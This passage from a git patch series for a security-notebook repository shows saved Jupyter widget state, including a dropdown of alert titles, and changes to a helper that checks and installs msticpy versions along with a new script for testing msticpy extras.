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"2019-02-19 00:00:00" + } + }, + "4c36fc0d62af4367b8548aa77ef60308": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "4cc35a417a5d4d5698d3501c2096ba00": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "initial" + } + }, + "4ef5e62b42ad43b9a7ddadb906ba576a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "5e4ddbd4743c4ea4b71c3b269b081d5b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "description_width": "" + } + }, + "5f6afbdee5644cd0a161d5adf997731b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "5fbf5a1991f446f9a8786dde0867f369": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "initial" + } + }, + "66cb0765ff494f658bdf9b5af640d5e5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DatePickerModel", + "state": { + "description": "Origin Date", + "disabled": false, + "layout": "IPY_MODEL_e465979fe462427e8b1cdf96ef3f6d4f", + "style": "IPY_MODEL_20fb53064e924182ae8da099ff1fa979", + "value": { + "date": 17, + "month": 1, + "year": 2019 + } + } + }, + "67da069ed437481f945fd1bfccd1c1ca": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "children": [ + "IPY_MODEL_972914f794534d02be503a84cba36a7a", + "IPY_MODEL_0b58920ab31c436580a32b574a93889e" + ], + "layout": "IPY_MODEL_8fe1a328c7fe4332a3a03752c6281d96" + } + }, + "6a012f253c114072949997d82861983e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "layout": "IPY_MODEL_bd72e5293ece496495853a7150983bf4", + "style": "IPY_MODEL_80c1a7ae2e3b41c0971e298748e3a3e1", + "value": "

Set query time boundaries

" + } + }, + "6a6eaae87a524405ae5a096cf7541e85": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "VBoxModel", + "state": { + "children": [ + "IPY_MODEL_c86242f27b6a4eaaa1712098053ae3fe", + "IPY_MODEL_15acd4c1137a4dbea9e9277e3c5cc43a", + "IPY_MODEL_4b7da81fbaeb4401b8b4c5c2b622659f" + ], + "layout": "IPY_MODEL_5f6afbdee5644cd0a161d5adf997731b" + } + }, + "6aab885cd7ca4e6fbc53c8336bf28d1c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "6bb88b2e1cbc4a21bfa6bf38a8eb5270": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "6f331b57e8af4e6f8cc1f4227c04fc18": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "IntRangeSliderModel", + "state": { + "_model_name": "IntRangeSliderModel", + "_view_name": "IntRangeSliderView", + "description": "Time Range (day):", + "layout": "IPY_MODEL_e7c5ed8e56f64bbabc8f46c1435718ba", + "max": 8, + "min": -20, + "style": "IPY_MODEL_2b05605c19e544afa512263ee11ccd72", + "value": [ + -3, + 2 + ] + } + }, + "7237e4bf0b86439d8868a6b9177fdf88": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "50%" + } + }, + "79d1df02e69c40bdaf5d95e631530231": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "SliderStyleModel", + "state": { + "description_width": "initial" + } + }, + "79fc711c2f4546c5b1db74ce336595e0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "layout": "IPY_MODEL_4ae0892f938344469c3bebdfc022ac1b", + "style": "IPY_MODEL_e02e133d41f04feca18314167b68aab1", + "value": "

Set query time boundaries

" + } + }, + "7a9a1793dac44384b376dea003f631ac": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "children": [ + "IPY_MODEL_102e8a173bdf4b109f4b588a1c88d7c3", + "IPY_MODEL_92f3bc9035fe419b9d4f2ffba2cc0457" + ], + "layout": "IPY_MODEL_c05a17be5a014bdda18971afb765cb2e" + } + }, + "80c1a7ae2e3b41c0971e298748e3a3e1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "" + } + }, + "83b7bb838f6d418abe801ee5adc6d6a4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "VBoxModel", + "state": { + "children": [ + "IPY_MODEL_6f331b57e8af4e6f8cc1f4227c04fc18", + "IPY_MODEL_3261c5b758354abc87865399dae0ce02", + "IPY_MODEL_9cbf4bb716cd4e58b5e61ff3271d6c3e" + ], + "layout": "IPY_MODEL_2aeb599b34454dbfb893ee944d67b305" + } + }, + "845cfefa45124c91a3d3564ef1db8cac": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "initial" + } + }, + "87025ac2152c4db8be33d3fa30b77d5a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "description_width": "initial" + } + }, + "8fe1a328c7fe4332a3a03752c6281d96": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "92f3bc9035fe419b9d4f2ffba2cc0457": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "LabelModel", + "state": { + "layout": "IPY_MODEL_b91130ab007b4927a9d157fe81cf7dc5", + "style": "IPY_MODEL_4ef5e62b42ad43b9a7ddadb906ba576a", + "value": "100%" + } + }, + "96d7b7e2af3c42fa94de12ca9d13185a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "972914f794534d02be503a84cba36a7a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DatePickerModel", + "state": { + "description": "Origin Date", + "disabled": false, + "layout": "IPY_MODEL_e267c33cfb33450485dd46d10ee18d48", + "style": "IPY_MODEL_4c36fc0d62af4367b8548aa77ef60308", + "value": { + "date": 17, + "month": 1, + "year": 2019 + } + } + }, + "9cbf4bb716cd4e58b5e61ff3271d6c3e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Query end time (UTC) : ", + "layout": "IPY_MODEL_7237e4bf0b86439d8868a6b9177fdf88", + "style": "IPY_MODEL_24b21cf0dde4419f9a389ee5769e8a66", + "value": "2019-02-19 00:00:00" + } + }, + "9dfc050c3b4943ec80367715db180a9b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "SelectModel", + "state": { + "_options_labels": [ + "2019-02-12 11:48:01 - Security incident with shared process detected - (MSTICALERTSWIN1) - [id:2518523287189999999_1f19db0b-3d5b-4f7b-b91f-5e994ba4bde5]", + "2019-02-13 02:50:38 - Security incident detected - (MSTICALERTSLXVM2) - [id:2518522745615999999_30ac5794-a265-4420-a1b7-6335ac08e2c0]", + "2019-02-14 11:51:38 - Suspicious system process executed - () - [id:2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a]", + "2019-02-14 11:51:38 - Security incident detected - (MSTICALERTSWIN1) - [id:2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495]", + "2019-02-14 11:51:38 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1) - [id:2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f]", + "2019-02-15 03:50:55 - Detected suspicious file download - (MSTICALERTSLXVM2) - [id:2518520981440769999_caab1270-55d3-4447-8618-16cf8672e4e1]", + "2019-02-15 04:03:22 - Possible suspicious scheduling tasks access detected - (MSTICALERTSLXVM2) - [id:2518520973978269999_57b6af71-984e-45f3-9aac-d6bbd79eed07]", + "2019-02-15 19:43:49 - Detected suspicious file download - (MSTICALERTSLXVM2) - [id:2518520409706099999_c5116800-e694-4900-a6e3-28cc7875b093]", + "2019-02-15 19:55:10 - Suspicious Activity Detected - () - [id:2518520402897969999_b946cd89-667e-4ce7-b571-9603859a7234]", + "2019-02-16 03:23:54 - Detected suspicious file download - (MSTICALERTSLXVM2) - [id:2518520133657099999_384e00d0-4afc-4e9a-8935-bec64d3951a4]", + "2019-02-16 20:49:59 - SSH Anomalous Login ML - () - [id:cf3d882a-3dc8-4526-80f0-0962b8d480c1]", + "2019-02-16 20:54:02 - SSH Anomalous Login ML - () - [id:a37e604d-fc93-43cc-997f-8b5c2fc53990]", + "2019-02-16 20:59:02 - SSH Anomalous Login ML - () - [id:c10ed21e-c5e6-4e7f-bb86-e586bfa2a2a3]", + "2019-02-16 21:04:02 - SSH Anomalous Login ML - () - [id:6a5661f9-9a57-4aa8-bb01-1d6743af998e]", + "2019-02-16 21:09:02 - SSH Anomalous Login ML - () - [id:723f61c8-86bd-46b4-96af-9b6509b0e83e]", + "2019-02-16 21:14:02 - SSH Anomalous Login ML - () - [id:cdaac819-757e-4296-9b64-5edd7e35e57f]", + "2019-02-16 21:19:02 - SSH Anomalous Login ML - () - [id:83062676-4b8d-4579-bcc9-196f086b93af]", + "2019-02-16 21:24:02 - SSH Anomalous Login ML - () - [id:9e25fa59-032f-42be-b8a1-495b773d6ef8]", + "2019-02-16 23:04:02 - SSH Anomalous Login ML - () - [id:eea9d793-0e7e-4911-a0e9-cf87bea6ec3e]", + "2019-02-16 23:09:02 - SSH Anomalous Login ML - () - [id:2007a3bf-db86-4a2e-ab4c-240660c6820a]", + "2019-02-16 23:14:02 - SSH Anomalous Login ML - () - [id:52f884eb-4193-43e7-9e3a-63889edbfb04]", + "2019-02-16 23:19:02 - SSH Anomalous Login ML - () - [id:6d53e2fc-3cfc-4c04-8396-c3dcbf1caa5e]", + "2019-02-16 23:24:02 - SSH Anomalous Login ML - () - [id:e782d6be-34d2-41c0-8b39-14ebbeef01a3]", + "2019-02-16 23:29:02 - SSH Anomalous Login ML - () - [id:3f756526-328e-4dc2-badb-304acded79fe]", + "2019-02-18 01:09:02 - SSH Anomalous Login ML - () - [id:dbd390dc-7a94-47e4-83e4-60a390e4073c]", + "2019-02-18 01:14:02 - SSH Anomalous Login ML - () - [id:64a2b4af-c3d7-422c-820b-7f1feb664222]", + "2019-02-18 01:19:02 - SSH Anomalous Login ML - () - [id:3968ef4e-b322-48ca-b297-e984aff8888d]", + "2019-02-18 01:24:02 - SSH Anomalous Login ML - () - [id:41f1f6b6-d2ea-4821-9659-0cfab6558cec]", + "2019-02-18 01:29:02 - SSH Anomalous Login ML - () - [id:214e5829-1a76-445b-845e-bf9ce81c3d4c]", + "2019-02-18 01:33:19 - SSH Anomalous Login ML - () - [id:8f622935-1422-41e6-b8f6-9119e681645c]", + "2019-02-18 01:34:02 - SSH Anomalous Login ML - () - [id:770459f6-d5ca-4561-a5fe-0911c64d3ace]", + "2019-02-18 01:39:02 - SSH Anomalous Login ML - () - [id:5dc33495-46c1-4232-9031-1cfa67c36724]", + "2019-02-18 01:44:02 - SSH Anomalous Login ML - () - [id:2de58958-55b0-4f0c-8113-063c815248a0]", + "2019-02-18 01:44:02 - SSH Anomalous Login ML - () - [id:95fb8ee8-479d-4b5f-b061-0b76946c9f4f]", + "2019-02-18 01:44:02 - SSH Anomalous Login ML - () - [id:e7a2c7ee-f8aa-4684-805d-72041ea18cf7]", + "2019-02-18 01:49:02 - SSH Anomalous Login ML - () - [id:f1ce87ca-8863-4a66-a0bd-a4d3776a7c64]", + "2019-02-18 01:49:02 - SSH Anomalous Login ML - () - [id:a17c8522-f069-4943-8783-171654d0de7c]", + "2019-02-18 01:49:02 - SSH Anomalous Login ML - () - [id:3a78a119-abe9-4b5e-9786-300ddcfd9530]", + "2019-02-18 03:14:21 - SSH Anomalous Login ML - () - [id:69a87b55-b6a5-4e58-8101-906a4051e29a]", + "2019-02-18 15:29:22 - Detected suspicious file download - (MSTICALERTSLXVM2) - [id:2518517970377929999_6ed51e72-6170-4f28-b551-9b7b49936c4c]", + "2019-02-18 16:39:21 - SSH Anomalous Login ML - () - [id:932a6e3c-7747-4e89-8159-c597868089bb]" + ], + "description": "Select alert :", + "index": 5, + "layout": "IPY_MODEL_f8afda5dc594476ea5e1772b963da0d1", + "style": "IPY_MODEL_36257f6e13074d67a18b3b24fe877958" + } + }, + "a9afb9d8b64d42c08c730207a2542f3d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "95%" + } + }, + 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sp_args.append(f"msticpy[{','.join(extras)}]") else: sp_args.append("msticpy") subprocess.run( @@ -62,11 +65,15 @@ def check_versions( stdout=sys.stdout, stderr=sys.stderr, ) + # pylint: disable=unused-import, import-outside-toplevel if "msticpy" in sys.modules: importlib.reload(sys.modules["msticpy"]) else: import msticpy - check_mp_ver(REQ_MSTICPY_VER) + # pylint: enable=unused-import, import-outside-toplevel + check_mp_ver(min_mp_ver) + + _set_kql_env_vars(extras) def check_python_ver(min_py_ver=MIN_PYTHON_VER_DEF): @@ -112,13 +119,11 @@ def check_python_ver(min_py_ver=MIN_PYTHON_VER_DEF): display( HTML( - "Python kernel version %s.%s.%s OK" + "Python kernel version %s.%s.%s OK
" % (sys.version_info[0], sys.version_info[1], sys.version_info[2]) ) ) - os.environ["KQLMAGIC_EXTRAS_REQUIRES"] = "jupyter-extended" - # pylint: disable=import-outside-toplevel def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): @@ -180,15 +185,25 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): ) raise RuntimeError(wrong_ver_err) - display(HTML("msticpy version %s.%s.%s OK" % mp_version)) + display(HTML("msticpy version %s.%s.%s OK
" % mp_version)) + + +def _set_kql_env_vars(extras): + jp_extended = ("azsentinel", "azuresentinel", "kql") + # If running in + if extras and any(extra for extra in extras if extra in jp_extended): + os.environ["KQLMAGIC_EXTRAS_REQUIRES"] = "jupyter-extended" + else: + os.environ["KQLMAGIC_EXTRAS_REQUIRES"] = "jupyter-basic" def _fmt_ver(version): return ".".join(str(ver) for ver in version) + def _get_version(module): ver_match = re.match(VER_RGX, module.__version__) if ver_match: ver_dict = ver_match.groupdict() return int(ver_dict["maj"]), int(ver_dict["min"]), int(ver_dict["pnt"]) - return (0, 0, 0) \ No newline at end of file + return (0, 0, 0) From 7c4bcdf1950892fc42f3ca5984ad2b50760279c3 Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Mon, 5 Apr 2021 15:46:55 -0700 Subject: [PATCH 06/23] Updating nb_check.py to handle string versions and read require MP version from environment. --- utils/nb_check.py | 64 +++++--- utils/test_mp_extras.py | 313 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 353 insertions(+), 24 deletions(-) create mode 100644 utils/test_mp_extras.py diff --git a/utils/nb_check.py b/utils/nb_check.py index 2bd915a..552acf4 100644 --- a/utils/nb_check.py +++ b/utils/nb_check.py @@ -9,12 +9,13 @@ import re import subprocess import sys +from pkg_resources import parse_version from IPython.display import display, HTML MISSING_PKG_ERR = """

The package '{package}' is not - installed or has an unsupported version {inst_ver}

+ installed or has an unsupported version (installed version = '{inst_ver}')

Please install or upgrade this now

Required version is {package}>={req_ver} """ @@ -24,19 +25,22 @@ def check_versions( - min_py_ver=MIN_PYTHON_VER_DEF, min_mp_ver=MSTICPY_REQ_VERSION, extras=None + min_py_ver=MIN_PYTHON_VER_DEF, min_mp_ver=MSTICPY_REQ_VERSION, extras=None, mp_release=None ): """ Check the current versions of the Python kernel and MSTICPy. Parameters ---------- - min_py_ver : Tuple[int, int] + min_py_ver : Union[Tuple[int, int], str] Minimum Python version - min_py_ver : Tuple[int, int] + min_mp_ver : Union[Tuple[int, int], str] Minimum MSTICPy version extras : Optional[List[str]] A list of extras required for MSTICPy + mp_release : Optional[str] + Override the MSTICPy release version. This + can also be specified in the environment variable 'MP_TEST_VER' Raises ------ @@ -46,19 +50,25 @@ def check_versions( and the user chose not to upgrade """ + if isinstance(min_py_ver, str): + min_py_ver = _get_pkg_version(min_py_ver).release check_python_ver(min_py_ver=min_py_ver) + + # Use the release ver specified in params, in the environment or + # the notebook default. + pkg_version = _get_pkg_version(min_mp_ver) + mp_install_version = mp_release or os.environ.get("MP_TEST_VER", str(pkg_version)) try: - check_mp_ver(min_msticpy_ver=min_mp_ver) + check_mp_ver(min_msticpy_ver=mp_install_version) except ImportError: sp_args = [ "pip", "install", "--upgrade", ] - if extras: - sp_args.append(f"msticpy[{','.join(extras)}]") - else: - sp_args.append("msticpy") + mp_pkg_spec = f"msticpy[{','.join(extras)}]" if extras else "msticpy" + mp_pkg_spec = f"{mp_pkg_spec}>={mp_install_version}" + sp_args.append(mp_pkg_spec) subprocess.run( sp_args, check=True, @@ -72,6 +82,8 @@ def check_versions( import msticpy # pylint: enable=unused-import, import-outside-toplevel check_mp_ver(min_mp_ver) + except RuntimeError: + print("Installation aborted.") _set_kql_env_vars(extras) @@ -145,15 +157,16 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): If MSTICPy version is insufficient and we need to upgrade """ + mp_min_pkg_ver = _get_pkg_version(min_msticpy_ver) + display(HTML("Checking msticpy version...")) - wrong_ver_err = "msticpy %s.%s.%s or later is needed." % min_msticpy_ver - curr_ver_text = "none" + wrong_ver_err = "msticpy {mp_pkg_ver} or later is needed." + inst_version = "none" try: import msticpy - curr_ver_text = msticpy.__version__ - mp_version = _get_version(msticpy) - if mp_version < min_msticpy_ver: + inst_version = _get_pkg_version(msticpy.__version__) + if inst_version < mp_min_pkg_ver: raise ImportError(wrong_ver_err) except ImportError: @@ -161,12 +174,12 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): HTML( MISSING_PKG_ERR.format( package="msticpy", - inst_ver=curr_ver_text, - req_ver=_fmt_ver(min_msticpy_ver), + inst_ver=inst_version, + req_ver=mp_min_pkg_ver, ) ) ) - resp = input("Install? (y/n)") # nosec + resp = input("Install now? (y/n)") # nosec if resp.casefold().startswith("y"): raise @@ -180,7 +193,7 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): Please see the TroubleShootingNotebooks in this folder for more information

- """.format(pkg="msticpy", ver=_fmt_ver(min_msticpy_ver), curr_ver=curr_ver_text) + """.format(pkg="msticpy", ver=mp_min_pkg_ver, curr_ver=inst_version) ) ) raise RuntimeError(wrong_ver_err) @@ -201,9 +214,12 @@ def _fmt_ver(version): return ".".join(str(ver) for ver in version) -def _get_version(module): - ver_match = re.match(VER_RGX, module.__version__) - if ver_match: - ver_dict = ver_match.groupdict() - return int(ver_dict["maj"]), int(ver_dict["min"]), int(ver_dict["pnt"]) - return (0, 0, 0) +def _fmt_dict_ver(version): + return ".".join(str(ver) for ver in version.values) + + +def _get_pkg_version(version): + if isinstance(version, str): + return parse_version(version) + elif isinstance(version, tuple): + return parse_version(".".join(str(ver) for ver in version)) diff --git a/utils/test_mp_extras.py b/utils/test_mp_extras.py new file mode 100644 index 0000000..4ec51f4 --- /dev/null +++ b/utils/test_mp_extras.py @@ -0,0 +1,313 @@ +# ------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for +# license information. +# -------------------------------------------------------------------------- +"""Script to test msticpy extras.""" +import argparse +from datetime import datetime +from pathlib import Path +import pkg_resources +import subprocess +import sys + +__author__ = "Ian Hellen" + +base_pkgs = [ + "argon2-cffi", + "async-generator", + "atomicwrites", + "attrs", + "backcall", + "bleach", + "cffi", + "colorama", + "decorator", + "defusedxml", + "entrypoints", + "iniconfig", + "ipykernel", + "ipython", + "ipython-genutils", + "ipywidgets", + "jedi", + "Jinja2", + "jsonschema", + "jupyter", + "jupyter-client", + "jupyter-console", + "jupyter-core", + "jupyterlab-pygments", + "MarkupSafe", + "mistune", + "nbclient", + "nbconvert", + "nbformat", + "nest-asyncio", + "notebook", + "packaging", + "pandocfilters", + "parso", + "pickleshare", + "pip", + "pluggy", + "prometheus-client", + "prompt-toolkit", + "py", + "pycparser", + "Pygments", + "pyparsing", + "pyrsistent", + "pytest", + "python-dateutil", + "pywin32", + "pywinpty", + "pyzmq", + "qtconsole", + "QtPy", + "Send2Trash", + "setuptools", + "six", + "terminado", + "testpath", + "toml", + "tornado", + "traitlets", + "wcwidth", + "webencodings", + "wheel", + "widgetsnbextension", +] + + +# pylint: disable=subprocess-run-check + +VERB_ARGS = {"stdout": sys.stdout, "stderr": sys.stderr} + + +def install_pkg(extra: str, path: str, version: str, verbose: bool): + """ + Install msticpy with extra from distrib path. + + Parameters + ---------- + extra : str + extra to install (default none) + path : str + path of the distribution + version : str + the version number of the package to install + verbose : bool + Emit verbose output for subproceses. + + + """ + sp_run = [ + "python", + "-m", + "pip", + "install", + "-f", + f"{path}/dist", + "msticpy{extra_spec}=={ver}".format( + extra_spec=f"[{extra}]" if extra else "", + ver=version, + ), + ] + + print(f"Installing msticpy from {path}, extra={extra}") + start = datetime.now() + print("start", start) + print(sp_run) + if verbose: + print(" ".join(sp_run)) + subprocess.run(sp_run, check=True, **(VERB_ARGS if verbose else {})) # type: ignore + + end = datetime.now() + print("end", end) + print("duration", end - start) + + +def reset_pkgs(verbose: bool): + """Reset enviroment - remove all non-core msticpy packages.""" + sp_run = [ + "python", + "-m", + "pip", + "list", + ] + inst_pkgs = _get_installed_pkgs() + remove_pkgs = inst_pkgs - set(base_pkgs) + # don't deinstall these packages + remove_pkgs = remove_pkgs - set(("pip", "setuptools", "wheel")) + + if not remove_pkgs: + print("No packages to uninstall") + return + sp_run.remove("list") + sp_run.extend(["uninstall", "-y", *remove_pkgs]) + print("Removing non-core packages") + print(sp_run) + if verbose: + print(" ".join(sp_run)) + subprocess.run(sp_run, check=True, **(VERB_ARGS if verbose else {})) # type: ignore + + +def show_dist(path: str): + """List current distributions.""" + dist_vers = Path(path).joinpath("dist").glob("*.tar.gz") + for dist in dist_vers: + print(str(dist.name).replace(".tar.gz", "")) + + +def run_tests(path: str, verbose: bool): + """Run pytest on `path`.""" + sp_run = ["pytest"] + inst_pkgs = _get_installed_pkgs() + if "pytest-xdist" in inst_pkgs: + sp_run.extend(["-n", "auto"]) + sp_run.append(path) + print("Running tests") + if verbose: + print(" ".join(sp_run)) + subprocess.run(sp_run, cwd=path, check=True, **(VERB_ARGS if verbose else {})) # type: ignore + + +def _get_installed_pkgs(): + sp_run = [ + "python", + "-m", + "pip", + "list", + ] + proc_call = subprocess.run(sp_run, check=True, stdout=subprocess.PIPE) # type: ignore + inst_pkgs = proc_call.stdout.decode("utf-8").split("\n")[2:] + return {pkg.split()[0] for pkg in inst_pkgs if pkg.strip()} + + +def create_baseline(output=None): + """Create baseline file for current packages.""" + output = output or "baseline_pkg.txt" + with open(output, "w") as bl_file: + bl_file.write("\n".join(sorted(_get_installed_pkgs()))) + print(f"baseline packages written to {output}") + + +def make_dist(path: str, verbose: bool): + """Create distrib at `path`.""" + sp_run = [ + "python", + "setup.py", + "sdist", + "bdist_wheel", + ] + print("Creating distrib wheel") + if verbose: + print(" ".join(sp_run)) + subprocess.run(sp_run, cwd=path, **(VERB_ARGS if verbose else {})) + + +def _read_base_pkg_list(pkg_file): + with open(pkg_file, "r") as pkg_fh: + pkg_lines = pkg_fh.readlines() + for pkg_line in pkg_lines: + try: + req = pkg_resources.Requirement.parse(pkg_line.strip()) + except Exception: # pylint: disable=broad-except + pass + yield req.name + + +def _add_script_args(): + parser = argparse.ArgumentParser(description="Msticpy extras test script.") + parser.add_argument( + "cmd", + choices=["install", "reset", "test", "makedist", "showdist", "baseline"], + help="\n".join([ + "Run command: [install | reset | test | makedist | showdist | baseline]", + ( + "install - install msticpy from a dist folder (--path) with option extras" + " (specified as a string with the --extras argument." + ), + ( + "reset - uninstall all packages apart from the baseline" + " (baseline package file is specified with --base-packages argument)." + ), + "test - run pytest tests against current install.", + "makedist - create a setuptools distribution from --path", + "showdist - list the distributions in the 'dist' folder in --path", + ( + "baseline - create a baseline requirements file from current packages" + " (specify output file as --output, default is baseline_pkg.txt" + ), + ]) + ) + parser.add_argument( + "--extra", + "-e", + required=False, + default=None, + help="Name of extra", + ) + parser.add_argument( + "--path", + "-p", + required=False, + default="/src/microsoft/msticpy", + help="Path to root of msticpy repo", + ) + parser.add_argument( + "--version", + "-n", + required=False, + help="Version of msticpy to install", + ) + parser.add_argument( + "--base-pkgs", + "-b", + required=False, + default=None, + help="File with base package list (for reset).", + ) + parser.add_argument( + "--output", + "-o", + required=False, + default=None, + help="Specify file to store base package list (for reset).", + ) + parser.add_argument( + "--verbose", + "-v", + action="store_true", + required=False, + default=False, + help="Show full output of commands.", + ) + return parser + + +# pylint: disable=invalid-name +if __name__ == "__main__": + arg_parser = _add_script_args() + args = arg_parser.parse_args() + + if args.cmd.casefold() == "install": + install_pkg(args.extra, args.path, args.version, args.verbose) + + if args.cmd.casefold() == "baseline": + create_baseline(args.output) + + if args.cmd.casefold() == "reset": + if args.base_pkgs: + base_pkgs = list(_read_base_pkg_list(args.base_pkgs)) + reset_pkgs(args.verbose) + + if args.cmd.casefold() == "test": + run_tests(args.path, args.verbose) + + if args.cmd.casefold() == "makedist": + make_dist(args.path, args.verbose) + + if args.cmd.casefold() == "showdist": + show_dist(args.path) From cd7130160d53d3103b407bc78b76a9934db3715a Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Tue, 6 Apr 2021 15:32:10 -0700 Subject: [PATCH 07/23] Updates to nb_check.py. Adding testing script for MP 1.0.0 test_mp_extras.py --- utils/nb_check.py | 174 +++++++++++++++++++++++----------------- utils/test_mp_extras.py | 38 ++++----- 2 files changed, 119 insertions(+), 93 deletions(-) diff --git a/utils/nb_check.py b/utils/nb_check.py index 552acf4..b4aacb9 100644 --- a/utils/nb_check.py +++ b/utils/nb_check.py @@ -6,26 +6,43 @@ """Checker for Python and msticpy versions.""" import importlib import os -import re -import subprocess import sys + +from IPython import get_ipython +from IPython.display import HTML, display from pkg_resources import parse_version -from IPython.display import display, HTML +AZ_GET_STARTED = ( + "https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/A%20Getting" + "%20Started%20Guide%20For%20Azure%20Sentinel%20ML%20Notebooks.ipynb" +) +TROUBLE_SHOOTING = ( + "https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/" + "TroubleShootingNotebooks.ipynb" +) MISSING_PKG_ERR = """ -

The package '{package}' is not - installed or has an unsupported version (installed version = '{inst_ver}')

-

Please install or upgrade this now

- Required version is {package}>={req_ver} +

The package '{package}' is not + installed or has an unsupported version (installed version = '{inst_ver}')

+ Please install or upgrade before continuing: required version is {package}>={req_ver} """ +MP_INSTALL_FAILED = """ +

The notebook cannot be run without + the correct version of '{pkg}' ({ver} or later).

+ Please see the + Getting Started Guide For Azure Sentinel ML Notebooks + for more information
+""" MIN_PYTHON_VER_DEF = (3, 6) MSTICPY_REQ_VERSION = (0, 9, 0) VER_RGX = r"(?P\d+)\.(?P\d+).(?P\d+)(?P.*)" def check_versions( - min_py_ver=MIN_PYTHON_VER_DEF, min_mp_ver=MSTICPY_REQ_VERSION, extras=None, mp_release=None + min_py_ver=MIN_PYTHON_VER_DEF, + min_mp_ver=MSTICPY_REQ_VERSION, + extras=None, + mp_release=None, ): """ Check the current versions of the Python kernel and MSTICPy. @@ -50,6 +67,8 @@ def check_versions( and the user chose not to upgrade """ + print("Note: you may need to scroll down this cell to see the full output.") + if isinstance(min_py_ver, str): min_py_ver = _get_pkg_version(min_py_ver).release check_python_ver(min_py_ver=min_py_ver) @@ -58,22 +77,26 @@ def check_versions( # the notebook default. pkg_version = _get_pkg_version(min_mp_ver) mp_install_version = mp_release or os.environ.get("MP_TEST_VER", str(pkg_version)) + exact_version = bool(mp_release or os.environ.get("MP_TEST_VER")) + try: check_mp_ver(min_msticpy_ver=mp_install_version) + if extras: + # If any extras are specified, always trigger an install + _disp_html("Running install to ensure extras are installed...
") + _install_mp( + mp_install_version=mp_install_version, + exact_version=exact_version, + extras=extras, + ) except ImportError: - sp_args = [ - "pip", - "install", - "--upgrade", - ] - mp_pkg_spec = f"msticpy[{','.join(extras)}]" if extras else "msticpy" - mp_pkg_spec = f"{mp_pkg_spec}>={mp_install_version}" - sp_args.append(mp_pkg_spec) - subprocess.run( - sp_args, - check=True, - stdout=sys.stdout, - stderr=sys.stderr, + _install_mp( + mp_install_version=mp_install_version, + exact_version=exact_version, + extras=extras, + ) + _disp_html( + "Installation completed. Attempting to re-import/reload MSTICPy..." ) # pylint: disable=unused-import, import-outside-toplevel if "msticpy" in sys.modules: @@ -81,9 +104,9 @@ def check_versions( else: import msticpy # pylint: enable=unused-import, import-outside-toplevel - check_mp_ver(min_mp_ver) + check_mp_ver(min_msticpy_ver=mp_install_version) except RuntimeError: - print("Installation aborted.") + _disp_html("Installation aborted.") _set_kql_env_vars(extras) @@ -103,37 +126,32 @@ def check_python_ver(min_py_ver=MIN_PYTHON_VER_DEF): If the Python version does not support the notebook. """ - display(HTML("Checking Python kernel version...")) + _disp_html("Checking Python kernel version...") if sys.version_info < 